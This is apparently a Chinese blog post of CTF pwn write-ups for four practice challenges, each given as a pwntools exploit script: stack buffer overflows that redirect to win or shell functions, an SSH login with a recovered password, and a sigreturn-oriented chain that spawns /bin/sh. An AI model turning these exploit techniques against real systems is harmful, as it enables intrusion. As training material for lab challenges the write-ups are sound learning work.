picoctf_2018_buffer overflow 2&&wustctf2020_getshell&&[BJDCTF 2nd]snake_dyn&&ciscn_2019_es_7[rsop]

╰+攻爆jí腚メ 2023-03-01 03:16 59阅读 0赞

## picoctf\_2018\_buffer overflow 2 ##

exp

from pwn import *
    
    context.log_level = 'debug'
    
    def debug_pause():
        log.info(proc.pidof(p))
        pause()
    
    proc_name = './PicoCTF_2018_buffer_overflow_2' 
    p = process(proc_name)
    p = remote('node3.buuoj.cn', 28375)
    elf = ELF(proc_name)
    win_addr = elf.sym['win']
    main_addr = elf.sym['main']
    payload = b'a' * (0x6c + 0x4) + p32(win_addr) + p32(main_addr) + p32(0x0DEADBEEF) + p32(0x0DEADC0DE)
    p.sendafter('string: ', payload)
    p.interactive()

![在这里插入图片描述][2020072123251813.png]

## wustctf2020\_getshell ##

exp

from pwn import *
    
    context.log_level = 'debug'
    
    def debug_pause():
        log.info(proc.pidof(p))
        pause()
    
    proc_name = './wustctf2020_getshell'
    p = process(proc_name)
    p = remote('node3.buuoj.cn', 27140)                                                                                                                                                                                 
    elf = ELF(proc_name)
    shell = elf.sym['shell']
    payload = b'a' * (0x18 + 0x4) + p32(shell)
    p.recv()
    p.send(payload)
    p.interactive()

![在这里插入图片描述][20200721233216410.png]

## \[BJDCTF 2nd\]snake\_dyn ##

密码需要修复三个定位角以及将颜色反转就可以扫出来为sNaKes  
![在这里插入图片描述][20200722100814522.png]  
![在这里插入图片描述][2020072210102861.png]  
exp

from pwn import *
    
    context.log_level = 'debug'
    
    sh = ssh(host='node3.buuoj.cn', user='ctf', password='sNaKes', port=29170)
    p = sh.process('/home/ctf/snake')
    payload = b'a' * 0x101
    p.sendline(payload)
    p.interactive()

![在这里插入图片描述][20200722101250365.png]

## ciscn\_2019\_es\_7\[srop\] ##

exp

from pwn import *
    
    context(log_level='debug', arch='amd64')
    
    def debug_pause():
        log.info(proc.pidof(p))
        pause()
    
    proc_name = './ciscn_2019_es_7'
    p = process(proc_name)
    # p = remote('node3.buuoj.cn', 29624)
    elf = ELF(proc_name)
    sys_read = 0x4004f1
    syscall_ret = 0x400517
    sigreturn = 0x4004da
    execve = 0x4004e2
    payload = b'/bin/sh\x00'.ljust(0x10, b'a') + p64(sys_read)
    p.send(payload)
    stack_addr = u64(p.recv(0x26)[-6:].ljust(0x8, b'\x00'))
    log.info(hex(stack_addr))
    str_bin_sh = stack_addr - 0x118
    
    frame = SigreturnFrame()
    frame.rax = 0x3b
    frame.rdi = str_bin_sh
    frame.rsi = 0x0 
    frame.rdx = 0x0 
    frame.rsp = stack_addr
    frame.rip = syscall_ret
    payload1 = b'/bin/sh\x00' + p64(0) + p64(sigreturn) + p64(syscall_ret) + bytes(frame)
    p.send(payload1)
    p.interactive()

![在这里插入图片描述][20200722151352402.png]

[2020072123251813.png]: /images/20230209/98003ae93e2f495ba943445a99a91146.png
[20200721233216410.png]: /images/20230209/a52ad21cda5b441a86c623f9c539d069.png
[20200722100814522.png]: /images/20230209/c992f3af95f5458e95d45d3c1975c97c.png
[2020072210102861.png]: /images/20230209/f4ac4089982f484a88d808ee978af25d.png
[20200722101250365.png]: /images/20230209/97be4477c6b24ac9a8a01bb677c97544.png
[20200722151352402.png]: /images/20230209/c9816aa6cd854e2d82698d702d545378.png